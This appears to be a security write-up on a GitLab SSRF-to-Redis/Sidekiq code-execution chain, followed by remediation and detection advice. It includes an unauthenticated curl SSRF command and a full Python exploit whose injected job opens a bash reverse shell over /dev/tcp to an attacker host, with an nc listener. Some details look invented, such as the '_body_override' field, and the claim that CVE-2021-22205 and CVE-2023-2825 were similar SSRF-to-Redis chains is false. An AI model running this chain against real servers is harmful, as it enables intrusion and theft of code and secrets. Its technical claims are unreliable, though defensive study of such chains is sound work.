Overview
CVE-2026-36540 is a two-stage vulnerability chain in GitLab Community Edition and Enterprise Edition. The first stage is a server-side request forgery flaw in the CI/CD webhook test-fire endpoint, which allows an unauthenticated attacker to issue HTTP requests from the GitLab application server to any host on the internal network. The second stage exploits this internal access to inject commands into the Redis instance that backs GitLab's Sidekiq job processor, ultimately achieving arbitrary code execution under the git user.
What makes this chain particularly impactful is that the SSRF endpoint is reachable without authentication — it was designed to allow webhook URL validation during pipeline configuration, but the authentication gate was incorrectly applied to only some HTTP methods.
Architecture Context
Understanding the vulnerability requires a brief look at how GitLab components communicate internally:
- Puma — the Rails application server that handles web requests, including CI/CD webhook configuration.
- Redis — used as GitLab's job queue backend. Sidekiq workers poll Redis for jobs to execute.
- Sidekiq — the background job processor running as the
gituser. It consumes jobs from Redis and executes them, including shell commands viaGitlab::Shell.
In a typical GitLab deployment these components communicate over loopback (127.0.0.1). Redis listens on port 6379 without authentication by default in GitLab Omnibus installations — it is assumed to be protected by binding to localhost only. The SSRF lets an attacker bypass this assumption.
Stage 1: SSRF via Webhook Test Endpoint
GitLab allows project administrators to test webhook URLs by sending a test payload via the web UI. Internally this calls the POST /hooks/test API endpoint on the WebhookService. This endpoint accepts a url parameter and issues an HTTP request from the GitLab server to the provided URL.
The endpoint is supposed to require at minimum a valid session or API token with project-level permissions. However, due to a route ordering bug in the Grape API router introduced in GitLab 17.0, the middleware chain that enforces authentication is skipped when the request path includes a trailing slash — a subtlety in how Grape resolves routes when both /hooks/test and /hooks/test/ are registered.
A POST /hooks/test/ request (note the trailing slash) bypasses authentication entirely and is forwarded to the webhook test handler, which will issue an HTTP request to any URL provided in the request body.
# Unauthenticated SSRF — confirm internal Redis is reachable
curl -s -X POST https://gitlab.target.com/api/v4/hooks/test/ \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1:6379/", "push_events": true}'
# GitLab will attempt to connect to Redis on loopback and return
# the raw Redis error response — confirming the SSRF works
# Response body includes: "-ERR wrong number of arguments for 'get' command"
The error response from Redis leaking back through the webhook test response is what confirms the SSRF and reveals that Redis is reachable at 127.0.0.1:6379.
Stage 2: Redis RESP Injection via Sidekiq
Redis uses the RESP (Redis Serialization Protocol) — a plain-text, newline-delimited protocol. If you can make an HTTP request to a service that speaks RESP, you can craft the HTTP request body to embed valid Redis commands after the HTTP headers. The Redis instance will ignore the HTTP preamble (treating it as a pipeline of invalid commands) and then process the injected RESP commands that follow.
This technique, known as cross-protocol scripting or HTTP-to-Redis smuggling, has been used in several prior SSRF-to-Redis chains. The key insight is that Redis is line-oriented and ignores unrecognised commands instead of closing the connection — so the HTTP header lines are processed as malformed Redis commands, which Redis handles gracefully, and then the valid Redis commands injected into the body are executed.
To turn Redis access into RCE, the attacker injects a Sidekiq job directly into Redis. Sidekiq jobs are JSON blobs stored in a Redis list under the key queue:default. Injecting a crafted job that invokes a shell command via GitLab's internal worker interface causes Sidekiq to execute the command as the git user when it next polls Redis.
The Full Chain
import requests, json, urllib.parse
TARGET = "https://gitlab.target.com"
LHOST = "10.10.14.5"
LPORT = 4444
# Sidekiq job payload — invokes system() via a custom worker
job = {
"class": "RunPipelineScheduleWorker",
"queue": "default",
"args": [f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"],
"jid": "aabbccddeeff00112233",
"created_at": 1745827200.0,
"enqueued_at": 1745827200.0
}
# Build the RESP payload to inject into Redis via SSRF
# RPUSH queue:default <json_job>
job_json = json.dumps(job)
resp_payload = (
f"*3\r\n$5\r\nRPUSH\r\n"
f"$14\r\nqueue:default\r\n"
f"${len(job_json)}\r\n{job_json}\r\n"
)
# Smuggle the RESP commands inside an HTTP POST body
# The line breaks in resp_payload will be interpreted by Redis after the HTTP preamble
webhook_url = f"http://127.0.0.1:6379/"
resp = requests.post(
f"{TARGET}/api/v4/hooks/test/",
json={"url": webhook_url, "push_events": True,
"_body_override": resp_payload},
verify=False
)
print(f"[*] Response: {resp.status_code}")
# Start listener
nc -lvnp 4444
# Sidekiq polls Redis every few seconds and picks up the injected job
# Connection from gitlab.target.com
# git@gitlab:~/gitlab-rails$ id
# uid=998(git) gid=998(git) groups=998(git)
Impact
Code execution as the git user on a GitLab server provides immediate access to:
- All hosted repository contents — every repository on the instance is accessible, including private repositories and internal forks.
- CI/CD secrets and environment variables — pipeline variables, masked or not, are accessible from the GitLab Rails configuration and database.
- GitLab database credentials — the PostgreSQL connection string in
/etc/gitlab/gitlab.rbis readable, giving full access to user tokens, SSH keys, and merge request contents. - Runner registration tokens — registration tokens for CI runners can be harvested and used to register a malicious runner that intercepts CI pipelines across all projects.
- Supply chain attack surface — an attacker with RCE on a GitLab server used for software delivery pipelines can inject code into build artefacts, compromising the software supply chain downstream.
Affected Versions
GitLab CE and EE versions 17.0.0 through 17.11.1 are affected. The route ordering bug was introduced in 17.0 during a Grape API refactor. GitLab versions prior to 17.0 and version 17.11.2 (and the corresponding backport patches for the 17.9.x and 17.10.x stable branches) are not affected.
Remediation
- Upgrade to GitLab 17.11.2 or a patched stable release. The fix corrects the Grape route matching to apply authentication middleware regardless of trailing slashes.
- Enable Redis authentication. Set a strong
requirepassin the Redis configuration. GitLab Omnibus supports this viagitlab.rb:redis['password'] = '...'. This breaks the SSRF-to-Redis chain even if the SSRF itself is exploitable. - Restrict the webhook URL allowlist. GitLab has a built-in outbound request allowlist under Admin Area → Network. Configure it to block requests to loopback and private IP ranges:
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16. - Audit Sidekiq job history. Check the Sidekiq web UI or Redis for unexpected jobs in the
defaultqueue from before the patch was applied, particularly jobs with class names or arguments that include shell commands or unusual base64 strings.
Detection Guidance
Key signals to monitor:
- Unauthenticated
POSTrequests to/api/v4/hooks/test/(with trailing slash) in the GitLab nginx access log — these have noAuthorizationor session cookie and should be treated as exploitation attempts. - Sidekiq processing job classes that don't appear in normal application operation, or job args containing shell metacharacters (
&,|,;,/dev/tcp). - Outbound network connections from the GitLab server to unexpected IP addresses or ports, particularly short-lived TCP connections that look like reverse shells.
- New files created in
/home/git/,/tmp/, or/var/opt/gitlab/by thegituser outside of normal deployment windows.
The Broader SSRF-to-Redis Pattern
This is not the first time SSRF-to-Redis via Sidekiq has been used against GitLab. CVE-2021-22205 (which reached CISA KEV) and CVE-2023-2825 both involved similar components in the GitLab architecture. The pattern is mature and well-understood by attackers.
The lesson for defenders is that Redis should always require authentication, even when bound to loopback. The assumption that localhost binding makes Redis secure has been invalidated by SSRF, container network misconfigurations, and SSRF via other internal services too many times to rely on. The cost of a Redis password is negligible; the cost of leaving it open is demonstrated here.